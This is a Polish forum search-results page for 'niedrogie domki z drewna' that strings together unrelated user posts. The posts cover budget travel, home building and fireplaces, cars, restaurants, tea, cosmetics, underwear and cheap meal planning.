Szukaj:Słowo(a): niedrogie domki z drewna
Nikt Cie nie zmusza do zarabiania....
Gość portalu: Bor'ka napisał(a):

> Trudno odpowiadac na pytanie, ktore w swej naturze jest bledne.

?

> Niestety, wiekszosc transportu z Zachodu na Wschod idzie przez Polske.
> To pierwszy Twoj blad.
> Napisalem "niestety", bo nasze drogi sa beznadziejne.

Ze wzgledow geograficznych, trudno sie nie zgodzic (zarowno pojechac inna
droga) i mysle i mam nadzieje, ze sie ta szanse wykorzysta - zbuduje sie dobre
drogi...

> Jesli mowic o Polskim exporcie, to okolo 75% idzie na Zachod, 3% do
> Rosji...wiec nie bardzo rozumiem Twoje pytanie.

Proponuje bedac na granicy zwrocic uwage, na ktorej z nich sa dluzsze kolejki
tirow. Przeciez mowisz, ze znasz Rosje, to powinienes wiedziec, ze prawie
wszystko, co sie sprzedaje w Rosji, idzie bez dokumentow.

A poza tym logicznie...
Rosja to duzy kraj z dobrymi warunkami do eksportowania towarow Polskich, gdyz
nie ma tu tak wysokich wymagan, jak w UE
==
np. na wyroby elektroniczne wg. standartu UE powinny miec od 2 lat
gwarancji!!! W Rosji tyle, ile sie obiecuje, czyli mozna nawet 1 dzien :)
==
zas jest wysokie zapotrzebowanie w wielu niedrogich towarach, ktore w Rosji nie
ma sensu produkowac ze wzgledu na niska jakosc produkcji...

P.S.
Wiesz co z rybami?
Przewozi sie je z Polski do Niemiec, pakuje sie w opakowania z niemieckimi
napisami i dopiero pozniej sprzedaja to wiesz gdzie? ...
Po co dziadkom od razu internet do założenia telefonu internetowego?Wystarczy
że opłacisz rozmowy w komunikatorze i będziesz z komputera dzwonił na telefon.
Pewnie są inne możliwości też ale polecam ten ,gdyż jest nieskomplikowany i
niedrogi i bez zobowiązań typu abonament
Przy szybkości wychodzącej mniejszej niż 20KB/s rozmowa jest do niczego na
dużych odległościach a taki transfer przy ADSL jest dosyć drogi ,kablówka
wogóle takiego nie zapewnia a providerzy internetowi dzielący drogą radiową
nie podejmują się przyłączyć na Mariankach ze względu na ukształtowanie
terenu.Taka sitwa panuje w tej wiosce ze jeśli ktoś chciałby zrobić konkurencję
istniejącym to go zagryzą pierwszego dnia .
Jotul czy Spartherm?
Kończymy budowę domu i chcemy go ogrzewać kominkiem z rozprowadzeniem
ciepła. Dom ma 154 m2 powierzchni, parterowy, b.dobrze ocieplony. Który wkład
wybrać? Różne firmy różnie radzą. Jotul - żeliwny, może pękać? Spartherm - z
cegłą szamotową- zawsze można pękniętą cegłę wymienić. Co z mocą? Jotul -
podaje tzw. moc użytkową 15 kW, Spartherm - moc nominalną 11 kW. Może ktoś ma
doświadczenia w używaniu tych wkładów do celów grzewczych? Może ktoś mógłby
polecić firmę, która dobrze i niedrogo wykona montaż systemu wraz z obudową
kominka (chcemy drewno i cegłę klinkierową).
Projekt domu na bardzo pochyłej działce.
Szukam pilnie niedrogiego architekta
działka na 1200 m2, zgrubsza w kwadracie, różnica poziomów między
przeciwległymi rogami ok 8 m, przy czym ta różnica wzdłuż jednego z boków (w
dół zbocza) ma 3-4 m. Droga dojazdowa na dole. Ładny widok ze skarpy na rzekę
Projekt zagospodarowania działki bedzie b. ważny
Dom ok 150-180m2, garaż
Niezłe wyzwanie..

> Tak, w zasadzie Toyota ma taki serwis. W Wawie np. Marki są świetne -
fachowo,
> uprzejmie i stosunkowo niedrogo. Chociaż robię tam tylko część rzeczy
> wymagających profesjonalnego sprzętu i oryginalnych części. Większość
prostych
> spraw eksploatacyjnych i wszystkie wymiany robię w zaprzyjaźnionym serwisie
> nieautoryzowanym robiącym tylko japońce - mimo wszystko dużo taniej i nie
> gorzej niż w Markach. Poza tym widzisz wszystko co wymieniają i robią przy
> aucie. Nie tak jak w serwisie gdzie nawet nie jesteś pewien czy naprawdę Ci
> olej wymienili.
>
Mam prośbę. Napisz gdzie jest ten zaprzyjaźniony serwis :). Może tez się z
nimi zaprzyjaźnię. Swoją drogą w ogóle serwis Toyoty jest dosyć drogi.
Pzdr
W takim wypadku Subaru Impreza STi jest samochodem
hipersportowym :)

A powaznie to krotka ankieta - jakie samochody sportowe
lubicie:
a - typu Impreza STi/Lancer Evo/Dodge SRT - male, glosne,
badziewiaste w srodku ale pozwalajace na kompletne
szalenstwo na i poza droga
b - typu Porsche 991/Chevy Corvette - drogie, luksusowe,
dajace duzo przyjemnosci z jazdy a jednoczesnie ladne w
srodku i oferujace duzy komfort
c - typu Ferrari/Lambrogini/Acura NSX/Dodge Viper -
pojazdy skonstruowane w jednym celu - zeby jechac szybko.
Nie liczy sie cena i wygoda kierowcy, ma byc moc i/lub
trzymanie drogi
d - typu Mustang/Camaro/Pontiac GTO - niedrogo, duzy
moment obrotowy, technika z lat 60'tych, moc osiagamy
przez opowiednio duza pojemnosc silnika
e - typu Pontiac Grand Prix GTP/BMW M3/M5/Audi RS6 -
rodzinne sedany/cope o "podrasowanych" silnikach (czasem
bardzo - patrz RS6/M5) - duzo drozsze od zwyklej wersji,
ale daja przyjemnosc przy jednoczesnie duzym luksusie
wnetrza (moze z wyjatkiem GTP:)

Moje typy (w kolejnosci preferencji): d,e,b,c,a
Cytryniec,
swietnie opisales.Ja tam skoleji to od Trogiru do Dubrovnika Yachtem
przeplynalem i z powrotem.
Wracajac do Wenecji,pare razy z rzedu wiezdzalem autem kolo lotniska na
polwesep i do Punto Sabioni.Tam sie zatrzymywalem na campingu,ceny sie
zgadzaja, i pozniej aby nie w sobote i niedziele bierzesz Stateczek i plyniesz
przez LIdo centrum Wenecji,nie droga zabawa.Mozna powiedziec ze wjezdzasz od
zakrysti.Pozniej odrazu po wycieczce na plaze kapiel.Sa rozne Campingi te
drogie musisz juz rezerwowac w zimie,a w POunto Sabioni u Sofii ## gwiazdkowy i
rzeczywiscie nie drogi.Obok swietna mala restauracyjka dobrze karmia winko,jest
tez swietnie zaopatrzony sklep niedrogi naprzykald Chianti 5l gasiar za 9 Euro.
Pzdr.Michal
Przedni naped latwiej opanowac zima
latwiej sie prowadzi zima , ale napewno lepszy jest tylni , zwlaszcza dla
szybkich samochodow , merce tez maja tylni naped ale nie wszystkie, w alfie
mozna spotkac przedni naped jak i tylni i czesci te najbardziej eksplatacyjne
typu tarcze , klocki , to do alfy nie sa takie drogie bo pasuja te same co do
fiata , lanci , wiec mozna to tez niedrogo naprawiac , tylko spalanie jest
duze w alfie , ale wcale nie jest taka droga , ceny sa podobne jak w bmw ,
merc, audi , i tego typu auta. Czemu sie boisz tylnego napedu ?
Remont drewnianej podłogi - jak to zrobić tanio?
Chciałabym wyremontować niedrogo drewniana podłogę w domku letnim. Po zdjęciu
wykładziny okazało się, że deski są rozeschnięte i są między nimi duże
szpary. Podłoga ta nie była nigdy niczym malowana, jest więc surowa i łatwo
przyjmie wszystko co się na nią nałoży. Nie mam dużych funduszy a
jednocześnie chciałabym osiągnąć ciekawy efekt. Słyszałam, że są preparaty
którymi można wydobyć z drewna jego rysunek i słoje. Ponadto, jak usunąć
szpary w podłodze?. Będę wdzięczna za jakieś porady.
Wykonawca szaf wnękowych poszukiwany
Poszukuję niedrogiego wykonawcy szaf wnękowych (sztuk 3 duże i 3 małe). Dom
jest z drewna, ściany też ma z drewna. Szafy będą miały zatem tylko półki
(trochę szuflad) i fronty (bez pleców i ścian bocznych). Fronty drewniane
(lub dobrze udające drewno) - bez luster.
Proszę o numery telefonów lub maile takich osób.
pozdrawiam
Re plaże
piaszczystych pięknych plaży jak.np we Włoszech nie znajdziesz.Ale dość
przyzwoitych które można nazwać piaszczystymi jest kilka.Jeżeli jedzie się w
cztery osoby to kamping nie wychodzi taniej niż apartament czteroosobowy,gdzie
wygody nieporównywalne.Np.przy wjeżdzie do Orebica jest kamping a sto metrów
dalej piaszczysta plaża,dyskoteka i promenada nadmorska z mnóstwem resteuracji.
Jadąc do Orebica można z PLOCE przeprawić się promem do Trpanj.W powrotnej
drodze można jechać półwyspem a następnie krótki kawałek drogi przez BIH -
warto dla wspaniałych widoków.W Orebicu masz do zobaczenia budowle zakonu.Gdzie
wspinasz się od hotelu BELLEVUE.Jesteś u podnóża góry SVLLIA i masz wspaniały
widok na Korculę.Możesz także zdobyć tą góre 961m.Dalej płyniesz na Korculę za
10kun,zwiedzasz Ston,Dubrownik,Trestnik,Mljet,Trpanj.Choć w Trpanji to tylko
dojechac do portu,zostawić auto i przejść się w prawo i ścieżką nadmorską- warto
Ja wiem czy to będzie niedrogo.Chorwacja stała się droga a tonio to było 5-6
lat temu lub trzeba jeżdzić poza sezonem - ale wtedy w Dalmacji Południowej też
jest gorąco.A te znane apartamenty podawane na forum napewno będą zajęte w
sezonie, ponieważ ten powiedział temu ,ten innemu i tam już trafiają ludzie bez
specjalnego zaangażowania włascicieli ale jak u jednego nie ma miejsca to on ci
wskaże tego u którego są wolne.
Wahalismy sie i wahalismy jesli chodzi o wybor drewna na podloge.
W koncu na 98% jestesmy zdecydowani na polski dab. Ciemne podlogi z egzotykow -
piekne!!!! ale my chcemy miec jasny dom. Mamy mieszkanie od wschodu (pol-wsch),
po poludniu byloby chyba zbyt ciemno. W salonie polozymy deski podlogowe
(dluzsze i szersze od tradycyjnego parkietu) a w sypialniach parkiet jakis
niedrogi debowy. Wazne jest aby parkiet i deski byly jednakowej grubosci -
latwiej dopasowac wylewki, kleje itd. W przedpokoju, lazience (podlogi i
sciany) kladziemy gres - wszedzie taki sam.
To tyle u nas.
Pozdrawiam
Malgos
A ja polecam jeszcze wyprawy na pstragi...lowi sie je na kij z zylka i na
miejscu je smaza (10zl/szt)...bardzo latwe. Lowilam w Trzebieszowicach (droga z
Ladka na Klodzko), ale tez jest fajnie kawalek za Stroniem Slaskim (w stroniu
przez mostek i jedziemy w lewo pare km). Noclegow jest sporo i widac je po
prostu z drogi "Noclegi". Sprawdzalam w sieci to niektore agroturystyczne sa w
cenie 24-26 zl.
A w Zabkowicach, niedaleko Rynku, jest bardzo dobra i niedroga pizza:)
W Mieroszowie, dla tych co lubia, polecam flaczki na Rynku...po prostu nie
jadlam w zyciu lepszych!!
Nie do końca tak jest. Zauważ, że w USA ludzie prawie nie korzystają z SMS. Tam
pierwszy był e-mail i jest to podstawowy środek łączności (poza telefonem).
Inaczej jest w Polsce. Tu jest bardzo kiepsko z infrastrukturą internetu: za
droga, za wolna, albo wcale jej nie ma. Na początku GSM był badzo drogi i dla
wybrańców. Teraz trafił pod strzechy. Połączenie UMTS z internetem to bardzo
rozwojowa mieszanka (u nas). Komputer jest drogi. Ale klawiatura już nie, a
telewizor każdy ma. Potrzebna jest tylko kosteczka, która połączy UMTS, TV i
klawiaturę (pole do popisu dla elektroników) i mamy internet z e-mailami w domu
i na wczasach, gdziekolwiek by one nie były. Ta koncepcja jest niedroga, ale
jakże elastyczna. Efektem ubocznym jest telefon. Szacuję, że pierwszy operator
GSM, który to wykona, zyska ok. 1 mln abonentów. O ile nie przesadzi z
abonamentam :-)
U nich niedrogo, dlatego tam pojechaliśmy. Pokoje są ładne , nowe, w zależności
od liczby osób. My mieliśmy 3 osobowy, z widokiem na jeziorko.A od wody dom
dzieli tylko droga, wlasna płaża. Możliwości dużo, jesli coś jeszcze chcesz
wiedziec to pytaj. Dla nas jest tam super.
Gość portalu: Justyna napisał(a):

> za wszystko co dla mnie robi, za cale dobro i poswiecenie. Wiem ze oddala by
> mi wszystko, ze ratowala za wszelka cene. Teraz to ja chce jej pomoc, ale ona
> nie chce by ja ktos zmienil..
> Moja mama jest 14 lat po rozwodzie, ale ojciec z nami mieszka (dodam do tego
> ze jestesmy zamozna rodzina)nadal. Niby to mialo byc dla dobra dzici itp.
> glupie wymowki. Dlaczego wiec? bo mu tak wygodnie..Ma niedrogi hotel a i tak
> moze przeciez widywac sie ze swoja "dziewczyna". Nie mam do niego o to
> pretensji-niech bedzie szczesliwy. Mimo wielu rozmow nie wyprowadzi sie a
> matka nie podejmie rzadnych stanowczych krokow. Ona nigdy sie z nikim nie
> zwiazala.. Przyzwyczaila sie do takiej sytulacji a zycie jej uciaka. Ma wiele
> do zaoferowania mimo poznego wieku (ma 57lat). Jest niezalezna finansowo,
> wyksztalcona (lek.medycyny), dobra i wygladajaca mlodo. bardzo bym chciala by
> odmienila swoje zycie, zaczela o siebie dbac, poznala kogos...Chce zeby byla
> szczesliwa..
> Drogi matki - jak jej pomoc??

Droga Justyno
Twoja mama już ma wielkie szczęście w życiu, że ma taką córkę.
Dużo jeszcze szczęścia Tobie i Twojej mamie życzę.
Dobra herbata to jest to!
Tytułowe pytanie jest dość abstrakcyjne. O czym właściwie mówimy? O
herbacianych odpadkach w papierowych torebkach, tańszych niż same torebki, o
herbatach czarnych czy zielonych? Czystych czy perfumowanych? Trudno o
Rooibosie czy mieszankach ziołowo-owocowych mówić herbata. Jakie przedziały
cenowe omawiamy? Polacy należą do światowej czołówki pijaczy herbat ale
paradoks polega na tym, że się na niej mało znamy (czego dowodzi też dyskusja
powyżej), pijemy odpadki i smakuje to nam, więc producenci i importerzy
najtańszych herbat mają tu eldorado. Sklepy "specjalistyczne" też oferują
bardzo średni towar, za to za światowe ceny. Droga herbata bywa zwietrzała.
Widziałam mole w puszkach. Herbatę "samolotową" sprzedaje się przez wiele
miesięcy z tej samej otwieranej dużej puszki, wciąż po tej samej niebotycznie
wysokiej cenie. Do starych liści dosypuje się świeże i interes kwitnie (też to
widziałam, dotyczyło Pai Mu Tana, drogiej białej herbaty). W pierwszym poście
ktoś napisał że najlepszy jest Lipton. A przecież Lipton to nie nazwa herbaty
tylko firmy sprzedającej tanią mieszankę o składzie zależnym od tego, do
jakiego kraju trafia. Ja osobiście jestem fanką herbaty. Niestety najczęściej
te naprawdę smaczne i niedrogie przywożę zza granicy albo proszę o to
znajomych. Ostatnio kupili mi w Londynie taniutkiego keemuna w zwykłym
kartonowym opakowaniu firmy Twinings. Co za smak! W Polsce nie ma. Ale polecam.
No tak. Kudowa to bodaj najstarsze uzdrowisko w Polsce, juz w XVII
wieku przyjezdzano tam "do wod". Mozna wiec powiedziec, ze te
wszystkie lata zweryfikowaly jego jakosc- zwlaszcza na serduszko tam
sie jezdzi, ale nie tylko.

Co ciekawe, miasto sklada sie z kilku dosc odleglych od siebie czesci.
Oprocz centralnego Zdroju, mamy nalezace do Kudowy miejscowosci takie
jak Czermna (kaplica czaszek- a must see, ale bardzo ciekawy jest
tez cmentarz obok, z nagrobkami po czesku, niemiecku i polsku-
w tym po polsku sprzed 1939 i po niemiecku po 1945, poza tym spoczywa
tam jeden niemiecki kandydat na oltarze), Pstrazna, gdzie agroturystycznie
mozna sobie polowic, jak sama nazwa wskazuje, pstraga, Slone z jednym
z glownych przejsc granicznych do Czech, Zakrze gdzie mieli niewielki
przemysl, dzis chyba w wiekszosci nieczynny (jest tam tez stacja
kolejowa, dosc daleko od centrum)...i chyba cos jeszcze bylo, ale
nie pamietam.

W Kudowie zaczyna sie slawna Droga Stu Zakretow, przez Karlow do Radkowa.
Mozna zrobic sobie tez wycieczke piesza na Bledne Skaly- rezerwat form
skalnych. Jest basen, ale lepsza opinia cieszy(l) sie ten w Nachodzie,
po drugiej stronie granicy.

Zjesc mozna niezle i niedrogo w barze przy Zdrojowej, tzw. "maly bar".
Polecam tez Cafe Domek nieopodal. Sa to jednak dane sprzed kilku
lat i moglo sie cos zmienic.

Bardzo przyjemne miejsce.

Pikus
Witaj!
Dobrze znam problem oszczędzania, więc może tobie też coś doradzę.
Jest Was dwoje, więc nie jest tak źle.
Spróbuj najpierw zrobić przegląd w szafkach kuchennych i zamrażalniku.
Napisz co masz i co możesz z tego zrobić np. na obiad.
zrób listę dni na cały miesiąc. Wpisuj na każdy dzień propozycję obiadów takich
najtańszych.
Np:
- kup kurczaka / ok. 10 zł./ - masz z niego rosół na niedzielę i poniedziałek,
udka w niedzielę na drugie danie, ziemniaczki + jakaś tania surówka/może masz
jakieś przetwory własnej roboty?/
- zostały Ci jeszcze piersi z kurczaka z których możesz zrobić kotlety np. w
środę lub w czwartek
- poświęć jeden dzień na przygotowanie dań tanich i mrożonyh / np. sobota?
- zrób wtedy dużo kopytek ziemniacznych, podziel na porcje i zamroź
- kup kawałek wieprzowiny lub wołowiny, pokrój w paski, uduś w sosie własnym i
dodaj ok. 1 kg pieczarek - wyjdzie ci bardzo dużo pysznego sosu do tych kopytek
lub po protu do ziemniaczków /po wystygnięciu sos poporcjuj i zamroź małych
pojemniczkach/
- w dniu wolnym od pracy zrób na obiad placki ziemniaczane - ja zawsze je robę
w sobotę, wszyscy uwielbiają
- wątróbka też nie jest droga, uduszona z cebulką - pycha!
- koniecznie kup koltety sojowe /ok. 2 zł paczka/ a jest z nich bardzo syty i
zdrowy obiad
- ugotuj zupę na dwa dni / zupy nie są drogie/
Jeśli chodzi o śniadania i kolację to ja preferuję musli z mlekiem / jest
sycące/, jakieś kanapki z niedrogą wędliną, serki topione itp.

Powinnaś jakoś przetrwać czego Ci życzę.
Pozdrawiam
Gosia
Wychodzi na to że w Poznaniu i chyba w całej Polsce króluje kuchnia włoska. Jak
przeczytałem na forum kuchnia, dużo nie trzeba - makaron ze sklepu, pesto ze
sklepu + 100 czy 200 % narzutu i jest restauracja.
Ja też skończyłem ostatnio w Papavero - obługa w porządku, smacznie, ale za
drogo, choć jeszcze nie tak jak np. w Valpolicelli.
Do madz:
proszę przeczytać wątek uważnie, nie jest długi. O Mykonosie na pl.Wolności już
pisaliśmy. Jest zresztą oddzielny wątek. Co do Valpolicelli (nie Vapolicelli)
to chodziło o niedrogą rzecz (mój 1 post), a tam jest drogo. Oczywiście można
znaleźć droższe restauracje w Poznaniu, ale przyjemnośc jest większa jeżeli
dobrze i jednocześnie niedrogo.
Swoją drogą Tapas bar (bar he, he) też osłabia cenami. Czy naprawdę musi ?
Ja najbardziej lubię Vegę na Krupniczej. Drugi ich bar jest na Gertrudy, koło
dawnego kina Wanda. Dawno tam nie jadłem, ale klimacik (wnętrze) był nieco
gorszy. Padła Vega - restauracja na Szerokiej, choć może tego najmniej szkoda
(drogo!). Nie polecam Momo na Dietla - ortodoksja do kwadratu i wcale nie
tanio: rzucają na talerz suchawą fasolkę, chlusną łyżkę rzadkiego sosu i kasują
naście złotych. Smaczne ciasta (np. marchewkowe). Duży wybór dań i stosunkowo
niedrogo w barze sieci Green Way na Mikołajskiej. Niedaleko kultowe ruskie
(wegetarianie proszą bez skwarków!) "U Stasi" (w bramie, gdzie jest pizzeria
Cyklop, swoją drogą jedna z najlepszych w Krakowie).
do Rudego 102
roody102 napisał:

"Gos´c´ portalu: fiszman napisa?(a):
no wlasnie nie ma chetnych. i dlatego jest droga, ze malo osob ja pije. a
pije malo miedzy innymi dlatego, ze jest droga."

No to jednak z ekonomii masz braki. Bo gdyby bylo tak, jak piszesz, to by ceny
obnizyli. Nie obnizaja - znaczy im sie kalkuluje.

DOBRZE POWIEDZIANE, RUDY. Idąc tym tropem to należałoby wysnuć wniosek, że
koniak dlatego jest drogi, bo mało osób go pije. A jak wszyscy zaczniemy pić,
to stanieje (!?). Albo takie na przykład mercedesy: dużo kosztują, bo mało
ludzi je kupuje. Kupujmy same mercedesy, to stanieją!!! He, he. Słuchajcie, a
może w tym szaleństwie jest metoda!
A fiszman by chciał, żeby było uprzejmie, elegancko i za złoty pięćdziesiąt.
Idź do baru mlecznego, tylko że tam też z uprzejmością nietęgo...
A w Krakowie to i mieszkanie kupisz trzy razy taniej, więc może pracy tam
poszukasz za trzy razy mniej...A w knajpach full, bo to miasto atrakcji
turystycznych i ma co pokazać, więc dużo przyjezdnych.Zapytaj zwykłych szarych
ludzi , ile zarabiają i czy im niedrogo..., bo ja znam wielu krakowian, co za
chlebem do naszej DROGIEJ W-wy przybywają.
Nie bierzesz pod uwagę, ze w finlandiii teraz obowiązuje euro i ceny poszły
trochę w górę. Dobrym sposobem na nocleg sa hytty-takie drewniane domki,
rozsiane po trasie za miastami oczywiście. Niedrogie i w miarę nieźle wyposażone
są hotele F1.
A co do komarów to niestety racja, są wszędzie.
stonka69 napisał:
> Tak się składa, że właśnie byłem w ubiegły weekend w Oslo z DFDS Seaways. Na
> promie można wykupić wycieczkę objazdową 3 godzinną. Cena 250 NOK. Przewodnik
> może być w kilku językach w tym angielskim, niemieckim i rosyjskim. Autobus
> odbiera Cię z promu, potem jeździ po centrum, potem jest spacer po parku z
> rzeźbami Vigelanda, dalej Holmenkollen i dalej muzeum wikingów. Stamtąd
możesz
> albo wrócić autokarem na przystań albo zostać, zwiedzić inne muzea w okolicy
> (Kon Tiki) i popłynąć motorówką do promu (przewodnik wyjaśni Ci co i jak).
> Wydaje mi się, że jeżeli zostajesz w Oslo tylko jeden dzień to jest to
sensowna opcja. Miasto jest wprawdzie małe i większość tych rzeczy byłbyś
pewnie w stanie zobaczyć na własną rękę ale korzystając z wycieczki masz szybki
> transport i dobą informację od przewodnika.

Dzięki za informacje. Chyba właśnie skorzystam z tej wycieczki za 250 NOK.
Trochę drogo. Na 2 osoby to robi się aż 500 NOK.
Ale czy w ramach tej ceny są chociaż uwzględnione bilety wstępu do muzeum
Wikingów i na Holmenkollen. Czy Ty zwiedzałeś inne muzea (Kon Tiki), czy też
wracałes autobusem. Jeśli zostałes na zwiedzanie indywidualne, jak wróciłeś i
za ile na prom. Strasznie droga jest ta Norwegia.

Gdzie zostawiłeś bagaże?

Czy na promie jest basem i sauna? Nie wiesz, ile kosztuje wstęp?

Czy mozna cos zjeść gorącego i w miare niedrogo?

Pozdrawiam
Castorp
Jak mają byc ładne plaże + niedrogo to wychodzi jak nic Tunezja. Byłam rok temu
w Tunezji/Sousse a w tym roku w Turcji/Alanyi i mogę powiedziec że o niebo
bardziej przyjemnie wspominam Tunezję. Jest bardziej dzika tzn cywilizowana ale
z elementami folkloru (np. białe, małe domki) a Turcja jest baaaardzo
zeuropeizowana i cóż się czarowac - droga dla przeciętnego polaka.Co do Egiptu
sie nie wypowiem, bo nie byłam. Niezależnie co wybierzecie życzę udanego wypoczynku.

Pozdrawiam :)
Droga Ewelino, niestety mam słabość do drogich kosmetyków i rujnuję się
finansowo w sklepach :(, i w tych najdroższych się orientuję. Moje typy: Dior
Addict 319 kolor Beige focus, Lancome Lip Dimension 200, moja ukochana
transparentna szminka Divinora Guerlain nr 340 (najpiekniejsza). Kiedyś mialam
taki fantastyczny błyszzyk Chanel nr 24 Comete ale teraz nie mozna go już
nigdzie dostać chyba, dlatego teraz na lato mam błyszczyk Lancome Juicy Tubes
w odcieniu Chilled nr 29. Tak naprawdę to wszystko co używam to takie beżowo
złociste odcienie, mam jeszcze jedną bardziej kryjącą różowo-beżową i brązową
na wieczór, jakieś różowawe błyszczyki itp. Dawno nic nie używałam z tych
tańszych, ale mialam pastel repair Loreala w odcieniu toffi cream to taki
delikatnie zabarwiony balsam do ust w tubce, bardzo fajny i niedrogi i trwałą
szminke w płynie loreala Rouge resist kolor Iced coffee - byłam zaskoczona
jej trwałością (a pożeram szminki natychmmiast).
W to nie wątpię. Tylko 50 zł to jest minimum za sklepowy stanik. Moja psióła
nosi i nosi te z bazaru i nie widać, żeby były o wiele gorsze. Jeśli różnica w
jakości byłaby tak duża, jak w cenach, to ok - proporcje są zachowane. Ale mam
wątpliwości, czy aby tej jakości się nie przecenia. Stanik, nawet nalepszy, z
czasem i tak "zbrzydnie" - nawet jesli sie nie odkształci, to biały całkiem
zżółknie, ramiączka się rozciągną, koronka omechaci... 4 lata temu, keidy
jeszcze chodziłam stale w stanikach, kupiłam w USA Ralpha Laurena za 30 $.
Bardzo mi sie podobał: taki cieniutki, rpzezroczysty, na fiszbinach, niebieski.
I co? I szybko zminił sie nie do poznania: miseczki były z innego materiału niż
reszta: miseczki zostały niebieskie, reszta zżółkła, ten plastik do regulacji
ramiączek trachnął i musiałam ramiączko zszyć na odpowiadającej mi długości.
Także jestem baaaaardzo sceptycznie nastawiona do drogiej jakości.

Co do rozmiarów itp. Ja mam najbardzioje chyba popularny 75B. Faktycznie,
bazarowe czasem to tragedia, jesli chodzi o kształt. No ale właśnie - bielizna
to jest cos, co trzeba mierzyć. Bałabym się kupywać coś z netu. 1. rozmair może
być nie ten, 2. wygląd też może znacznie odbiegać od zdjęcia...

Swoją drogą jakie firmy produkują dobrej jakości, ładną, niedrogą bieliznę?
Place zabaw dla dzieci do ogrodu
Zaczyna się sezon letni i cza zabaw naszych pociech w ogrodzie. Może
zainteresuje również niektóre z Was ten wątek. Szukam ofert na
baseny, zjeżdzlanie, huśtawki itp, na allegro jest duża oferta, ale
dziś znalazłam coś nowego, czego jeszcze nie spotkalam na innych
stronkach i postanowiłam się podzielić, może kogoś zainteresuje
również. Na stronie VOX-a, chyba nowość, bo do tej pory raczej
kojarzył mi się z meblami, znalazłam drewniane place zabaw, rozmaite
domki, domeczki, dworki ) Bajka, tylko mieć pieniądze i
wydawać..Jelsi chodzi natomiast o baseny, to zaskoczyła mnie
pozytywnie oferta w Carrefour (naprawdę ciekawe baseniki i
niedrogo), a w internecie sklep presto. Jesli macie jakieś swoje
sprawdzone typy, czy coś co Was z kolei zainteresowało, to
podzielcie się, dajcie tu znać z linkiem czy adresem stronki. Może
inni też skorzystają
www.loot.co.uk

Oprocz tego, jesli nie masz pomyslu co kupic to moze zacznij ot takiej taniej
szafy-wieszaka (mozna dokupic pokrowiec na zasuwak) i dopiero jak troche
ochloniesz kup cos solidniejszego.
mozna tez na poczatek kupic takie plastikowe pudelka (IKEA na niedrogie) i ich
uzywac zamiast szuflad (skarpetki, male ciuszki swietnie sie tam zmieszcza).
Zakup mebli uzaleznij od mieszkania - nie wiem czy warto kupowac drogie
drewniane meble w stylu "Upstairs downstairs".
Nawet sklepy takie jak B&Q (www.diy.com/ - w sklepie jest wiekszy wybor
niz to, co pokazuja na necie, wiem, bo kupowalam ostatnio sporo rzeczy w B&Q) i
Homebase maja meble do skladania, ktore sa niedrogie i bardzo praktyczne.

izabelski
Duży wybór drewnianych zabawek jest w Galerii Mokotów przy wejściu do
Hipernovej (po prawej stronie kas), ale tam jest raczej drogo i nie wiem, czy
są klocki z literkami. Dość duży wybór niedrogich zabawek drewnianych jest
natomiast na bazarku na Kabatach (róg Wąwozowej i Stryjeńskich), w kiosku z
prasą i Lottomatem (wejście od Wąwozowej). Są tam właśnie klocki z cyferkami i
układanki wycinane ze sklejki. Był też kiedyś sklepik z drewnianymi zabawkami
przy ul. Gagarina, kawałek za dawnym Uniwersusem (róg Sobieskiego i Gagarina),
ale nie wiem, czy jeszcze istnieje.
- co do ulicy Dąbrowskiego - nie zapuszczam się tam - ale żałuję, że tak to
wygląda. Co do starej-reloaded-repainted piwnicy - to: zapuściłem się tam na
rekonesans i: - malowanie zniszczyło naturalny klimat tej dziury: oświetlenie
fatalne, wentylacja prawie nie istnieje, Piecyk już jest odstawiony - LPG z
butli drogi a już mrozu nie ma. Reklama fatalna, dziupla fatalna. Ale: -
wypyszczyłem obecnemu tam personelowi - bezczelnie zgryźliwe uwagi n/t malowania
(trochę się pomylili z kolorkami), oświetlenia - ciemno i mętnie jak w grobie,
reklamy - e, i repertuaru gastro/muzycznego - to już było dzieło sztuki... Ale:
cegły można odpiłować z olejnej, sklepienia żebrowe pochodzą z XXVIIIw. - to
dawne fundamenty i piwnice drewnianych chałup - prawdopodobnie wybudowane po
spaleniu "miasta" zgierza podczas najazdu szwedzkiego - przed startem
przemysłowego "miasta". Takie piwnice istnieją - i można je połączyć - pod
sąsiednimi budynkami. To nasz własny UMZ wynajmuje ta piwnicę-dzuplę za skromną
opłatą ok. 60 zł dziennie - bez opłat za media - bez możliwości postawienia
ogródka na placu armii czerwonej - tfu - JP2, lub AdHtlr platz - lub stary
rynek. Jak zwał - tak zwał. - i zdołuje kazdego napaleńca - bo trzeba by mieć
dochody jak przy dystrybucji brownsugar lub puresnow - żeby zainwestować i
doprowadzić do ładu taką piwnicę - TO JEDYNE ORYGINALNE - 200-letnie miejsce z
niedrogim pifkiem z kija z "mieście" Zgierzu.
Cześć! Moge polecić Ci niedrogą i myślę, że dobrą krawcową (ja skorzystałam i
byłam bardzo zadowolona zarówno z ceny jak i z efektu jej pracy). Jest to młoda
dziewczyna, ma na imię Justyna i szyje w mieszkaniu na os. Kopernika na ul.
Galileusza 4F m. 1. Ważna sprawa materiału ona nie kupuje, musisz sama kupić
ale ona Ci powie gdzie i ile tego potrzeba. Mi szyła w sierpniu sukienkę
dwuczęściową (gorset i spódnica z trenem na sztywnej halce) i zapłaciłam 510
zł, za materiał dałam 277 zł - to raczej nie jest drogo. I jak już pisałam
byłam bardzo zadowolona i wszystkim sukienka się podobała. Nie jestem pewna czy
ona dysponuje jakimiś katalogami i czy potrafi coś doradzić, ja wcześniej byłam
w pracowni na Strzeleckiej (trochę droga ale bardzo miła obsługa i ładnie tam
szyją bo koleżanka w zeszłym roku skorzystała z ich usług) i trochę sobie
poprzymierzałam i jak szłam do p. Justyny wiedziałam dokładnie czego chcę.
Niestety nie mam też do niej numeru telefonu ale ona jest tam raczej codziennie
popołudniami (ze mną zawsze tak się umawiała, nawet o 20-tej). Mam nadzieję, że
pomogłam. Pozdrawiam!
zdziwić to może nie ale rzuciło mi się w oczy lub niespodobało
1.Zielony meczet przy drodze z lotniska (zielonego to jeszcze nie
widziałam)
2.Jadąc drogą na Durres z Tirany trochę nie podoba mi się to
betonowe oddzielenie pasów jezdni bo nie widać co jest po drugiej
stronie drogi
3.Samo Durres przypomina mi trochę włoskie kurorty nad
adriatykiem:las piniowy, płytkie morze,średniej jakości plaża,
wogule całe wybrzeże od Czarnogóry do Durres nie jest zachwycające,
bo to Adriatyk i niezbyt czysta woda.. Polecam Albańską plaże i
kapieliska zaczynając od Vlory po samo południe, tam już jest morze
Jońskie, woda lazurowa i piękne zatoczki
4.Albańskie tanie linie lotnicze Belleair... to nie to samo co
